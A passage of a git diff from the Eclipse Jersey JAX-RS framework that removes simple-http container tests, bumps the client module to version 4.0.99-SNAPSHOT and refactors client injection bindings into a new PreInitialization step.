-        public String getCurrentUser() {
-            return "current user";
-        }
-    }
-
-    private Client client;
-
-    @BeforeEach
-    public void setUp() throws Exception {
-        startServer(HelloWorldResource.class, UserResource.class);
-        client = ClientBuilder.newClient();
-    }
-
-    @Override
-    @AfterEach
-    public void tearDown() {
-        super.tearDown();
-        client = null;
-    }
-
-
-    @Test
-    public void testFooBarOptions() {
-        Response response =
-                client.target(getUri()).path("helloworld").request().header("Accept", "foo/bar").options();
-        assertEquals(200, response.getStatus());
-        final String allowHeader = response.getHeaderString("Allow");
-        _checkAllowContent(allowHeader);
-        assertEquals(0, response.getLength());
-        assertEquals("foo/bar", response.getMediaType().toString());
-    }
-
-    private void _checkAllowContent(final String content) {
-        assertTrue(content.contains("GET"));
-        assertTrue(content.contains("HEAD"));
-        assertTrue(content.contains("OPTIONS"));
-    }
-
-    @Test
-    public void testNoDefaultMethod() {
-        Response response = client.target(getUri()).path("/users").request().options();
-        assertThat(response.getStatus(), is(404));
-    }
-
-}
diff --git a/containers/simple-http/src/test/java/org/glassfish/jersey/simple/ParallelTest.java b/containers/simple-http/src/test/java/org/glassfish/jersey/simple/ParallelTest.java
deleted file mode 100644
index d328fc1..0000000
--- a/containers/simple-http/src/test/java/org/glassfish/jersey/simple/ParallelTest.java
+++ /dev/null
@@ -1,112 +0,0 @@
-/*
- * Copyright (c) 2010, 2022 Oracle and/or its affiliates. All rights reserved.
- *
- * This program and the accompanying materials are made available under the
- * terms of the Eclipse Public License v. 2.0, which is available at
- * http://www.eclipse.org/legal/epl-2.0.
- *
- * This Source Code may also be made available under the following Secondary
- * Licenses when the conditions for such availability set forth in the
- * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
- * version 2 with the GNU Classpath Exception, which is available at
- * https://www.gnu.org/software/classpath/license.html.
- *
- * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
- */
-
-package org.glassfish.jersey.simple;
-
-import java.util.concurrent.CountDownLatch;
-import java.util.concurrent.TimeUnit;
-import java.util.concurrent.atomic.AtomicInteger;
-import java.util.logging.Level;
-import java.util.logging.Logger;
-
-import jakarta.ws.rs.GET;
-import jakarta.ws.rs.Path;
-import jakarta.ws.rs.client.ClientBuilder;
-import jakarta.ws.rs.client.WebTarget;
-
-import org.glassfish.jersey.server.ResourceConfig;
-
-import org.junit.jupiter.api.Test;
-
-import static org.junit.jupiter.api.Assertions.assertEquals;
-
-/**
- * Tests the parallel execution of multiple requests.
- *
- * @author Stepan Kopriva
- * @author Arul Dhesiaseelan (aruld at acm.org)
- */
-public class ParallelTest extends AbstractSimpleServerTester {
-
-    // Server-side dispatcher and selector pool configuration
-    private static final int selectorThreads = Runtime.getRuntime().availableProcessors();
-    private static final int dispatcherThreads = Math.max(8, selectorThreads * 2);
-
-    private static final int numberOfThreads = 100;
-
-    private static final String PATH = "test";
-    private static AtomicInteger receivedCounter = new AtomicInteger(0);
-    private static AtomicInteger resourceCounter = new AtomicInteger(0);
-    private static CountDownLatch latch = new CountDownLatch(numberOfThreads);
-
-    @Path(PATH)
-    public static class MyResource {
-
-        @GET
-        public String get() {
-            this.sleep();
-            resourceCounter.addAndGet(1);
-            return "GET";
-        }
-
-        private void sleep() {
-            try {
-                Thread.sleep(10);
-            } catch (InterruptedException ex) {
-                Logger.getLogger(ParallelTest.class.getName()).log(Level.SEVERE, null, ex);
-            }
-        }
-    }
-
-    private class ResourceThread extends Thread {
-
-        private WebTarget target;
-        private String path;
-
-        public ResourceThread(WebTarget target, String path) {
-            this.target = target;
-            this.path = path;
-        }
-
-        @Override
-        public void run() {
-            assertEquals("GET", target.path(path).request().get(String.class));
-            receivedCounter.addAndGet(1);
-            latch.countDown();
-        }
-    }
-
-    @Test
-    public void testParallel() {
-        ResourceConfig config = new ResourceConfig(MyResource.class);
-        startServer(config, dispatcherThreads, selectorThreads);
-        WebTarget target = ClientBuilder.newClient().target(getUri().path("/").build());
-
-        for (int i = 1; i <= numberOfThreads; i++) {
-            ResourceThread rt = new ResourceThread(target, PATH);
-            rt.start();
-        }
-
-        try {
-            latch.await(8000, TimeUnit.MILLISECONDS);
-        } catch (InterruptedException ex) {
-            Logger.getLogger(ParallelTest.class.getName()).log(Level.SEVERE, null, ex);
-        }
-
-        int result = receivedCounter.get();
-        assertEquals(numberOfThreads, result);
-    }
-}
diff --git a/containers/simple-http/src/test/java/org/glassfish/jersey/simple/SimpleHttpServerProviderTest.java b/containers/simple-http/src/test/java/org/glassfish/jersey/simple/SimpleHttpServerProviderTest.java
deleted file mode 100644
index 7c6f01b..0000000
--- a/containers/simple-http/src/test/java/org/glassfish/jersey/simple/SimpleHttpServerProviderTest.java
+++ /dev/null
@@ -1,195 +0,0 @@
-/*
- * Copyright (c) 2021, 2023 Oracle and/or its affiliates. All rights reserved.
- * Copyright (c) 2018 Markus KARG. All rights reserved.
- *
- * This program and the accompanying materials are made available under the
- * terms of the Eclipse Public License v. 2.0, which is available at
- * http://www.eclipse.org/legal/epl-2.0.
- *
- * This Source Code may also be made available under the following Secondary
- * Licenses when the conditions for such availability set forth in the
- * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
- * version 2 with the GNU Classpath Exception, which is available at
- * https://www.gnu.org/software/classpath/license.html.
- *
- * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
- */
-
-package org.glassfish.jersey.simple;
-
-import static java.lang.Boolean.FALSE;
-import static java.lang.Boolean.TRUE;
-import static org.hamcrest.CoreMatchers.is;
-import static org.hamcrest.CoreMatchers.nullValue;
-import static org.hamcrest.MatcherAssert.assertThat;
-import static org.hamcrest.Matchers.greaterThan;
-import static org.hamcrest.Matchers.instanceOf;
-
-import java.security.AccessController;
-import java.security.NoSuchAlgorithmException;
-import java.util.Collections;
-import java.util.Set;
-import java.util.concurrent.CompletionStage;
-import java.util.concurrent.ExecutionException;
-import java.util.concurrent.TimeUnit;
-import java.util.logging.Level;
-import java.util.logging.Logger;
-
-import javax.net.ssl.SSLContext;
-import jakarta.ws.rs.GET;
-import jakarta.ws.rs.SeBootstrap;
-import jakarta.ws.rs.SeBootstrap.Configuration.SSLClientAuthentication;
-import jakarta.ws.rs.Path;
-import jakarta.ws.rs.client.ClientBuilder;
-import jakarta.ws.rs.core.Application;
-import jakarta.ws.rs.core.UriBuilder;
-
-import org.glassfish.jersey.internal.util.PropertiesHelper;
-import org.glassfish.jersey.server.ServerProperties;
-import org.glassfish.jersey.server.spi.Container;
-import org.glassfish.jersey.server.spi.WebServer;
-import org.glassfish.jersey.server.spi.WebServerProvider;
-import org.junit.jupiter.api.Test;
-import org.junit.jupiter.api.Timeout;
-
-/**
- * Unit tests for {@link SimpleHttpServerProvider}.
- *
- * @author Markus KARG (markus@headcrashing.eu)
- * @since 3.1.0
- */
-public final class SimpleHttpServerProviderTest {
-
-    @Test
-    @Timeout(value = 15000L, unit = TimeUnit.MILLISECONDS)
-    public void shouldProvideServer2() throws InterruptedException, ExecutionException {
-        // given
-        final Resource resource = new Resource();
-        shouldProvideServer(ShouldProvideServerApplication.class, resource);
-    }
-
-    @Test
-    @Timeout(value = 15000L, unit = TimeUnit.MILLISECONDS)
-    public void shouldProvideServerWithClass() throws InterruptedException, ExecutionException {
-        // given
-        final Resource resource = new Resource();
-        final Application application = new ShouldProvideServerApplication();
-        shouldProvideServer(application.getClass(), resource);
-    }
-
-    private void shouldProvideServer(final Object application, final Resource resource)
-            throws InterruptedException, ExecutionException {
-        // given
-        final WebServerProvider webServerProvider = new SimpleHttpServerProvider();
-        final SeBootstrap.Configuration configuration = configuration(getPort(), FALSE);
-
-        // when
-        final WebServer webServer = Application.class.isInstance(application)
-                ? webServerProvider.createServer(WebServer.class, (Application) application, configuration)
-                : webServerProvider.createServer(WebServer.class, (Class<Application>) application, configuration);
-        final Object nativeHandle = webServer.unwrap(Object.class);
-        final CompletionStage<?> start = webServer.start();
-        final Object startResult = start.toCompletableFuture().get();
-        final Container container = webServer.container();
-        final int port = webServer.port();
-        final String entity = ClientBuilder.newClient()
-                .target(UriBuilder.newInstance().scheme("http").host("localhost").port(port).build()).request()
-                .get(String.class);
-        final CompletionStage<?> stop = webServer.stop();
-        final Object stopResult = stop.toCompletableFuture().get();
-
-        // then
-        assertThat(webServer, is(instanceOf(SimpleHttpServer.class)));
-        assertThat(nativeHandle, is(instanceOf(SimpleServer.class)));
-        assertThat(startResult, is(nullValue()));
-        assertThat(container, is(instanceOf(SimpleContainer.class)));
-        assertThat(port, is(greaterThan(0)));
-        assertThat(entity, is(resource.toString()));
-        assertThat(stopResult, is(nullValue()));
-    }
-
-    @Path("/")
-    protected static final class Resource {
-        @GET
-        @Override
-        public String toString() {
-            return Resource.class.getName();
-        }
-    }
-
-    protected static class ShouldProvideServerApplication extends Application {
-        @Override
-        public Set<Object> getSingletons() {
-            return Collections.singleton(new Resource());
-        }
-    }
-
-    private static final Logger LOGGER = Logger.getLogger(SimpleHttpServerProviderTest.class.getName());
-
-    private static final int DEFAULT_PORT = 0;
-
-    private static final int getPort() {
-        final String value = AccessController
-                .doPrivileged(PropertiesHelper.getSystemProperty("jersey.config.test.container.port"));
-        if (value != null) {
-            try {
-                final int i = Integer.parseInt(value);
-                if (i < 0) {
-                    throw new NumberFormatException("Value is negative.");
-                }
-                return i;
-            } catch (final NumberFormatException e) {
-                LOGGER.log(Level.CONFIG,
-                        "Value of 'jersey.config.test.container.port'"
-                                + " property is not a valid non-negative integer [" + value + "]."
-                                + " Reverting to default [" + DEFAULT_PORT + "].",
-                        e);
-            }
-        }
-
-        return DEFAULT_PORT;
-    }
-
-    @Test
-    @Timeout(value = 15000L, unit = TimeUnit.MILLISECONDS)
-    public final void shouldScanFreePort() throws InterruptedException, ExecutionException {
-        // given
-        final WebServerProvider webServerProvider = new SimpleHttpServerProvider();
-        final Application application = new Application();
-        final SeBootstrap.Configuration configuration = configuration(SeBootstrap.Configuration.FREE_PORT, TRUE);
-
-        // when
-        final WebServer webServer = webServerProvider.createServer(WebServer.class, application, configuration);
-
-        // then
-        assertThat(webServer.port(), is(greaterThan(0)));
-    }
-
-    private SeBootstrap.Configuration configuration(int port, boolean autoStart) {
-        return (SeBootstrap.Configuration) name -> {
-            switch (name) {
-                case SeBootstrap.Configuration.PROTOCOL:
-                    return "HTTP";
-                case SeBootstrap.Configuration.HOST:
-                    return "localhost";
-                case SeBootstrap.Configuration.PORT:
-                    return port;
-                case SeBootstrap.Configuration.ROOT_PATH:
-                    return "/";
-                case SeBootstrap.Configuration.SSL_CLIENT_AUTHENTICATION:
-                    return SSLClientAuthentication.NONE;
-                case SeBootstrap.Configuration.SSL_CONTEXT:
-                    try {
-                        return SSLContext.getDefault();
-                    } catch (final NoSuchAlgorithmException e) {
-                        throw new RuntimeException(e);
-                    }
-                case ServerProperties.WEBSERVER_AUTO_START:
-                    return autoStart;
-                default:
-                    return null;
-            }
-        };
-    }
-
-}
diff --git a/containers/simple-http/src/test/java/org/glassfish/jersey/simple/TraceTest.java b/containers/simple-http/src/test/java/org/glassfish/jersey/simple/TraceTest.java
deleted file mode 100644
index 46a669c..0000000
--- a/containers/simple-http/src/test/java/org/glassfish/jersey/simple/TraceTest.java
+++ /dev/null
@@ -1,106 +0,0 @@
-/*
- * Copyright (c) 2010, 2022 Oracle and/or its affiliates. All rights reserved.
- *
- * This program and the accompanying materials are made available under the
- * terms of the Eclipse Public License v. 2.0, which is available at
- * http://www.eclipse.org/legal/epl-2.0.
- *
- * This Source Code may also be made available under the following Secondary
- * Licenses when the conditions for such availability set forth in the
- * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
- * version 2 with the GNU Classpath Exception, which is available at
- * https://www.gnu.org/software/classpath/license.html.
- *
- * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
- */
-
-package org.glassfish.jersey.simple;
-
-import jakarta.ws.rs.GET;
-import jakarta.ws.rs.Path;
-import jakarta.ws.rs.Produces;
-import jakarta.ws.rs.client.Client;
-import jakarta.ws.rs.client.ClientBuilder;
-import jakarta.ws.rs.core.Response;
-
-import org.junit.jupiter.api.AfterEach;
-import org.junit.jupiter.api.BeforeEach;
-import org.junit.jupiter.api.Test;
-import static org.hamcrest.CoreMatchers.is;
-import static org.hamcrest.MatcherAssert.assertThat;
-import static org.junit.jupiter.api.Assertions.assertEquals;
-import static org.junit.jupiter.api.Assertions.assertTrue;
-
-public class TraceTest extends AbstractSimpleServerTester {
-
-    @Path("helloworld")
-    public static class HelloWorldResource {
-        public static final String CLICHED_MESSAGE = "Hello World!";
-
-        @GET
-        @Produces("text/plain")
-        public String getHello() {
-            return CLICHED_MESSAGE;
-        }
-    }
-
-    @Path("/users")
-    public class UserResource {
-
-        @Path("/current")
-        @GET
-        @Produces("text/plain")
-        public String getCurrentUser() {
-            return "current user";
-        }
-    }
-
-    private Client client;
-
-    @BeforeEach
-    public void setUp() throws Exception {
-        startServerNoLoggingFilter(HelloWorldResource.class, UserResource.class); // disable crude
-        // LoggingFilter
-        setDebug(true);
-        client = ClientBuilder.newClient();
-    }
-
-    @Override
-    @AfterEach
-    public void tearDown() {
-        super.tearDown();
-        client = null;
-    }
-
-
-    @Test
-    public void testFooBarOptions() {
-        for (int i = 0; i < 100; i++) {
-            Response response = client.target(getUri()).path("helloworld").request()
-                                      .header("Accept", "foo/bar").options();
-            assertEquals(200, response.getStatus());
-            final String allowHeader = response.getHeaderString("Allow");
-            _checkAllowContent(allowHeader);
-            assertEquals(0, response.getLength());
-            assertEquals("foo/bar", response.getMediaType().toString());
-
-            try {
-                Thread.sleep(50);
-            } catch (Exception e) {
-                e.printStackTrace();
-            }
-        }
-    }
-
-    private void _checkAllowContent(final String content) {
-        assertTrue(content.contains("GET"));
-        assertTrue(content.contains("HEAD"));
-        assertTrue(content.contains("OPTIONS"));
-    }
-
-    @Test
-    public void testNoDefaultMethod() {
-        Response response = client.target(getUri()).path("/users").request().options();
-        assertThat(response.getStatus(), is(404));
-    }
-}
diff --git a/core-client/pom.xml b/core-client/pom.xml
index 9227e81..1a4ca75 100644
--- a/core-client/pom.xml
+++ b/core-client/pom.xml
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey</groupId>
         <artifactId>project</artifactId>
-        <version>3.5.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <groupId>org.glassfish.jersey.core</groupId>
@@ -93,6 +93,7 @@
                     <instructions>
                         <Import-Package>
                             ${jakarta.annotation.osgi.version},
+                            ${jakarta.rest.osgi.version},
                             *
                         </Import-Package>
                         <unpackBundle>true</unpackBundle>
diff --git a/core-client/src/main/java/org/glassfish/jersey/client/ClientBinder.java b/core-client/src/main/java/org/glassfish/jersey/client/ClientBinder.java
index a48e353..c2f7fa1 100644
--- a/core-client/src/main/java/org/glassfish/jersey/client/ClientBinder.java
+++ b/core-client/src/main/java/org/glassfish/jersey/client/ClientBinder.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2012, 2020 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2012, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -29,8 +29,9 @@
 import jakarta.inject.Provider;
 import jakarta.inject.Singleton;
 
+import org.glassfish.jersey.innate.inject.InjectionIds;
+import org.glassfish.jersey.innate.inject.InternalBinder;
 import org.glassfish.jersey.internal.PropertiesDelegate;
-import org.glassfish.jersey.internal.inject.AbstractBinder;
 import org.glassfish.jersey.internal.inject.ReferencingFactory;
 import org.glassfish.jersey.internal.util.collection.Ref;
 import org.glassfish.jersey.message.internal.MessagingBinders;
@@ -43,7 +44,7 @@
  * @author Jakub Podlesak
  * @author Libor Kramolis
  */
-class ClientBinder extends AbstractBinder {
+class ClientBinder extends InternalBinder {
 
     private final Map<String, Object> clientRuntimeProperties;
 
@@ -82,24 +83,28 @@
     @Override
     protected void configure() {
         install(new MessagingBinders.MessageBodyProviders(clientRuntimeProperties, RuntimeType.CLIENT),
-                new MessagingBinders.HeaderDelegateProviders());
+                new MessagingBinders.HeaderDelegateProviders(RuntimeType.CLIENT));
 
         bindFactory(ReferencingFactory.referenceFactory()).to(new GenericType<Ref<ClientConfig>>() {
-        }).in(RequestScoped.class);
+        }).in(RequestScoped.class).id(InjectionIds.CLIENT_CLIENT_CONFIG.id());
 
         bindFactory(RequestContextInjectionFactory.class)
                 .to(ClientRequest.class)
-                .in(RequestScoped.class);
+                .in(RequestScoped.class)
+                .id(InjectionIds.CLIENT_CLIENT_REQUEST.id());
 
         bindFactory(RequestContextInjectionFactory.class).to(HttpHeaders.class)
-                .proxy(true).proxyForSameScope(false).in(RequestScoped.class);
+                .proxy(true).proxyForSameScope(false).in(RequestScoped.class)
+                .id(InjectionIds.CLIENT_HTTP_HEADERS.id());
 
         bindFactory(ReferencingFactory.referenceFactory()).to(new GenericType<Ref<ClientRequest>>() {
-        }).in(RequestScoped.class);
+        }).in(RequestScoped.class).id(InjectionIds.CLIENT_CLIENT_REQUEST_REF_FACTORY.id());
 
-        bindFactory(PropertiesDelegateFactory.class, Singleton.class).to(PropertiesDelegate.class).in(RequestScoped.class);
+        bindFactory(PropertiesDelegateFactory.class, Singleton.class).to(PropertiesDelegate.class).in(RequestScoped.class)
+                .forClient(true).id(InjectionIds.COMMON_PROPERTIES_DELEGATE.id());
 
         // ChunkedInput entity support
-        bind(ChunkedInputReader.class).to(MessageBodyReader.class).in(Singleton.class);
+        bind(ChunkedInputReader.class).to(MessageBodyReader.class).in(Singleton.class)
+                .id(InjectionIds.CLIENT_CHUNKED_INPUT_READER.id());
     }
 }
diff --git a/core-client/src/main/java/org/glassfish/jersey/client/ClientBootstrapPreinitialization.java b/core-client/src/main/java/org/glassfish/jersey/client/ClientBootstrapPreinitialization.java
new file mode 100644
index 0000000..c73cf7f
--- /dev/null
+++ b/core-client/src/main/java/org/glassfish/jersey/client/ClientBootstrapPreinitialization.java
@@ -0,0 +1,31 @@
+/*
+ * Copyright (c) 2024 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.client;
+
+import org.glassfish.jersey.innate.BootstrapPreinitialization;
+import org.glassfish.jersey.internal.inject.InjectionManager;
+
+import jakarta.ws.rs.RuntimeType;
+
+public class ClientBootstrapPreinitialization implements BootstrapPreinitialization {
+    @Override
+    public void preregister(RuntimeType runtimeType, InjectionManager injectionManager) {
+        if (runtimeType == RuntimeType.CLIENT) {
+            new ClientConfig.PreInitialization(injectionManager);
+        }
+    }
+}
diff --git a/core-client/src/main/java/org/glassfish/jersey/client/ClientConfig.java b/core-client/src/main/java/org/glassfish/jersey/client/ClientConfig.java
index b072c1d..53cc138 100644
--- a/core-client/src/main/java/org/glassfish/jersey/client/ClientConfig.java
+++ b/core-client/src/main/java/org/glassfish/jersey/client/ClientConfig.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2012, 2023 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2012, 2024 Oracle and/or its affiliates. All rights reserved.
  * Copyright (c) 2018 Payara Foundation and/or its affiliates.
  *
  * This program and the accompanying materials are made available under the
@@ -39,6 +39,9 @@
 import org.glassfish.jersey.client.internal.inject.ParameterUpdaterConfigurator;
 import org.glassfish.jersey.client.spi.Connector;
 import org.glassfish.jersey.client.spi.ConnectorProvider;
+import org.glassfish.jersey.innate.inject.Bindings;
+import org.glassfish.jersey.innate.inject.InjectionIds;
+import org.glassfish.jersey.innate.inject.ProviderBinder;
 import org.glassfish.jersey.internal.AutoDiscoverableConfigurator;
 import org.glassfish.jersey.internal.BootstrapBag;
 import org.glassfish.jersey.internal.BootstrapConfigurator;
@@ -47,10 +50,8 @@
 import org.glassfish.jersey.internal.FeatureConfigurator;
 import org.glassfish.jersey.internal.JaxrsProviders;
 import org.glassfish.jersey.internal.ServiceFinder;
-import org.glassfish.jersey.internal.inject.Bindings;
 import org.glassfish.jersey.internal.inject.InjectionManager;
 import org.glassfish.jersey.internal.inject.Injections;
-import org.glassfish.jersey.internal.inject.ProviderBinder;
 import org.glassfish.jersey.internal.spi.AutoDiscoverable;
 import org.glassfish.jersey.internal.util.collection.LazyValue;
 import org.glassfish.jersey.internal.util.collection.Value;
@@ -88,7 +89,8 @@
         @Override
         public void init(InjectionManager injectionManager, BootstrapBag bootstrapBag) {
             bootstrapBag.setConfiguration(runtimeConfig);
-            injectionManager.register(Bindings.service(runtimeConfig).to(Configuration.class));
+            injectionManager.register(Bindings.service(runtimeConfig).to(Configuration.class).forClient(true)
+                    .id(InjectionIds.COMMON_CONFIGURATION.id()));
         }
     }
 
@@ -417,69 +419,27 @@
             runtimeCfgState.markAsShared();
 
             final InjectionManager injectionManager = findInjectionManager();
-            injectionManager.register(new ClientBinder(runtimeCfgState.getProperties()));
-
-            final ClientBootstrapBag bootstrapBag = new ClientBootstrapBag();
-            bootstrapBag.setManagedObjectsFinalizer(new ManagedObjectsFinalizer(injectionManager));
-
-            final ClientMessageBodyFactory.MessageBodyWorkersConfigurator messageBodyWorkersConfigurator =
-                    new ClientMessageBodyFactory.MessageBodyWorkersConfigurator();
-
-            List<BootstrapConfigurator> bootstrapConfigurators = Arrays.asList(
-                    new RequestScope.RequestScopeConfigurator(),
-                    new ParamConverterConfigurator(),
-                    new ParameterUpdaterConfigurator(),
-                    new RuntimeConfigConfigurator(runtimeCfgState),
-                    new ContextResolverFactory.ContextResolversConfigurator(),
-                    messageBodyWorkersConfigurator,
-                    new ExceptionMapperFactory.ExceptionMappersConfigurator(),
-                    new JaxrsProviders.ProvidersConfigurator(),
-                    new AutoDiscoverableConfigurator(RuntimeType.CLIENT),
-                    new ClientComponentConfigurator(),
-                    new FeatureConfigurator(RuntimeType.CLIENT));
-            bootstrapConfigurators.forEach(configurator -> configurator.init(injectionManager, bootstrapBag));
-
-            // AutoDiscoverable.
-            if (!CommonProperties.getValue(runtimeCfgState.getProperties(), RuntimeType.CLIENT,
-                    CommonProperties.FEATURE_AUTO_DISCOVERY_DISABLE, Boolean.FALSE, Boolean.class)) {
-                runtimeCfgState.configureAutoDiscoverableProviders(injectionManager, bootstrapBag.getAutoDiscoverables());
-            } else {
-                runtimeCfgState.configureForcedAutoDiscoverableProviders(injectionManager);
-            }
-
-            // Configure binders and features.
-            runtimeCfgState.configureMetaProviders(injectionManager, bootstrapBag.getManagedObjectsFinalizer());
-
-            // Bind providers.
-            final Collection<ComponentProvider> componentProviders = bootstrapBag.getComponentProviders().get();
-            ProviderBinder.bindProviders(
-                    runtimeCfgState.getComponentBag(), RuntimeType.CLIENT, null, injectionManager, componentProviders
-            );
-
-            ClientExecutorProvidersConfigurator executorProvidersConfigurator =
-                    new ClientExecutorProvidersConfigurator(runtimeCfgState.getComponentBag(),
-                            runtimeCfgState.client,
-                            this.executorService,
-                            this.scheduledExecutorService);
-            executorProvidersConfigurator.init(injectionManager, bootstrapBag);
+            final PreInitialization preInit =
+                    new PreInitialization(runtimeCfgState, injectionManager, this.executorService, this.scheduledExecutorService);
+            List<BootstrapConfigurator> bootstrapConfigurators = preInit.bootstrapConfigurators;
 
             injectionManager.completeRegistration();
 
-            bootstrapConfigurators.forEach(configurator -> configurator.postInit(injectionManager, bootstrapBag));
+            bootstrapConfigurators.forEach(configurator -> configurator.postInit(injectionManager, preInit.bootstrapBag));
 
             final ClientConfig configuration = new ClientConfig(runtimeCfgState);
             final Connector connector = connectorProvider.getConnector(client, configuration);
-            final ClientRuntime crt = new ClientRuntime(configuration, connector, injectionManager, bootstrapBag);
+            final ClientRuntime crt = new ClientRuntime(configuration, connector, injectionManager, preInit.bootstrapBag);
 
             client.registerShutdownHook(crt);
-            messageBodyWorkersConfigurator.setClientRuntime(crt);
+            preInit.messageBodyWorkersConfigurator.setClientRuntime(crt);
 
             return crt;
         }
 
-        private final InjectionManager findInjectionManager() {
+        private InjectionManager findInjectionManager() {
             try {
-                return Injections.createInjectionManager(RuntimeType.CLIENT);
+                return Injections.createInjectionManager(commonConfig);
             } catch (IllegalStateException ise) {
                 return new NonInjectionManager(true);
             }
@@ -515,6 +475,68 @@
         }
     }
 
+    /* package */ static class PreInitialization {
+        private final ClientBootstrapBag bootstrapBag;
+        private final List<BootstrapConfigurator> bootstrapConfigurators;
+        private final ClientMessageBodyFactory.MessageBodyWorkersConfigurator messageBodyWorkersConfigurator;
+
+        /* package */ PreInitialization(InjectionManager injectionManager) {
+            this(new State(new JerseyClient()), injectionManager, null, null);
+        }
+
+
+        /* package */ PreInitialization(
+                State runtimeCfgState,
+                InjectionManager injectionManager,
+                ExecutorService executorService,
+                ScheduledExecutorService scheduledExecutorService) {
+            injectionManager.register(new ClientBinder(runtimeCfgState.getProperties()));
+
+            bootstrapBag = new ClientBootstrapBag();
+            bootstrapBag.setManagedObjectsFinalizer(new ManagedObjectsFinalizer(injectionManager));
+
+            messageBodyWorkersConfigurator = new ClientMessageBodyFactory.MessageBodyWorkersConfigurator(); // 2020
+
+            bootstrapConfigurators = Arrays.asList(
+                    new RequestScope.RequestScopeConfigurator(),
+                    new ParamConverterConfigurator(), // 2010
+                    new ParameterUpdaterConfigurator(), // 2011
+                    new RuntimeConfigConfigurator(runtimeCfgState), // 2012
+                    new ContextResolverFactory.ContextResolversConfigurator(), // 2014
+                    messageBodyWorkersConfigurator,
+                    new ExceptionMapperFactory.ExceptionMappersConfigurator(), // 2015
+                    new JaxrsProviders.ProvidersConfigurator(), // 2016
+                    new AutoDiscoverableConfigurator(RuntimeType.CLIENT),
+                    new ClientComponentConfigurator(),
+                    new FeatureConfigurator(RuntimeType.CLIENT));
+            bootstrapConfigurators.forEach(configurator -> configurator.init(injectionManager, bootstrapBag));
+
+            // AutoDiscoverable.
+            if (!CommonProperties.getValue(runtimeCfgState.getProperties(), RuntimeType.CLIENT,
+                    CommonProperties.FEATURE_AUTO_DISCOVERY_DISABLE, Boolean.FALSE, Boolean.class)) {
+                runtimeCfgState.configureAutoDiscoverableProviders(injectionManager, bootstrapBag.getAutoDiscoverables());
+            } else {
+                runtimeCfgState.configureForcedAutoDiscoverableProviders(injectionManager);
+            }
+
+            // Configure binders and features.
+            runtimeCfgState.configureMetaProviders(injectionManager, bootstrapBag.getManagedObjectsFinalizer());
+
+            // Bind providers.
+            final Collection<ComponentProvider> componentProviders = bootstrapBag.getComponentProviders().get();
+            ProviderBinder.bindProviders(
+                    runtimeCfgState.getComponentBag(), RuntimeType.CLIENT, null, injectionManager, componentProviders
+            );
+
+            ClientExecutorProvidersConfigurator executorProvidersConfigurator =
+                    new ClientExecutorProvidersConfigurator(runtimeCfgState.getComponentBag(),
+                            runtimeCfgState.client,
+                            executorService,
+                            scheduledExecutorService);
+            executorProvidersConfigurator.init(injectionManager, bootstrapBag);
+        }
+    }
+
     /**
      * Construct a new Jersey configuration instance with the default features
      * and property values.
diff --git a/core-client/src/main/java/org/glassfish/jersey/client/ClientExecutorProvidersConfigurator.java b/core-client/src/main/java/org/glassfish/jersey/client/ClientExecutorProvidersConfigurator.java
index ab5b9f5..9b128d0 100644
--- a/core-client/src/main/java/org/glassfish/jersey/client/ClientExecutorProvidersConfigurator.java
+++ b/core-client/src/main/java/org/glassfish/jersey/client/ClientExecutorProvidersConfigurator.java
@@ -24,10 +24,11 @@
 import java.util.logging.Level;
 import java.util.logging.Logger;
 
+import org.glassfish.jersey.innate.inject.Bindings;
+import org.glassfish.jersey.innate.inject.InjectionIds;
 import org.glassfish.jersey.internal.BootstrapBag;
-import org.glassfish.jersey.internal.inject.Bindings;
+import org.glassfish.jersey.internal.inject.Binding;
 import org.glassfish.jersey.internal.inject.InjectionManager;
-import org.glassfish.jersey.internal.inject.InstanceBinding;
 import org.glassfish.jersey.internal.util.ReflectionHelper;
 import org.glassfish.jersey.internal.util.collection.Value;
 import org.glassfish.jersey.internal.util.collection.Values;
@@ -36,6 +37,7 @@
 import org.glassfish.jersey.spi.ExecutorServiceProvider;
 import org.glassfish.jersey.spi.ScheduledExecutorServiceProvider;
 
+import jakarta.ws.rs.RuntimeType;
 import jakarta.ws.rs.core.Configuration;
 
 /**
@@ -91,7 +93,7 @@
             if (asyncThreadPoolSize != null) {
                 // TODO: Do we need to register DEFAULT Executor and ScheduledExecutor to InjectionManager?
                 asyncThreadPoolSize = (asyncThreadPoolSize < 0) ? 0 : asyncThreadPoolSize;
-                InstanceBinding<Integer> asyncThreadPoolSizeBinding = Bindings
+                Binding<Integer, ?> asyncThreadPoolSizeBinding = Bindings
                         .service(asyncThreadPoolSize)
                         .named("ClientAsyncThreadPoolSize");
                 injectionManager.register(asyncThreadPoolSizeBinding);
@@ -106,9 +108,11 @@
             }
         }
 
-        InstanceBinding<ExecutorServiceProvider> executorBinding = Bindings
+        Binding<ExecutorServiceProvider, ?> executorBinding = Bindings
                 .service(defaultAsyncExecutorProvider)
-                .to(ExecutorServiceProvider.class);
+                .to(ExecutorServiceProvider.class)
+                .forClient(true)
+                .id(InjectionIds.CLIENT_EXECUTOR_SERVICE_PROVIDER.id());
 
         injectionManager.register(executorBinding);
 
@@ -130,13 +134,15 @@
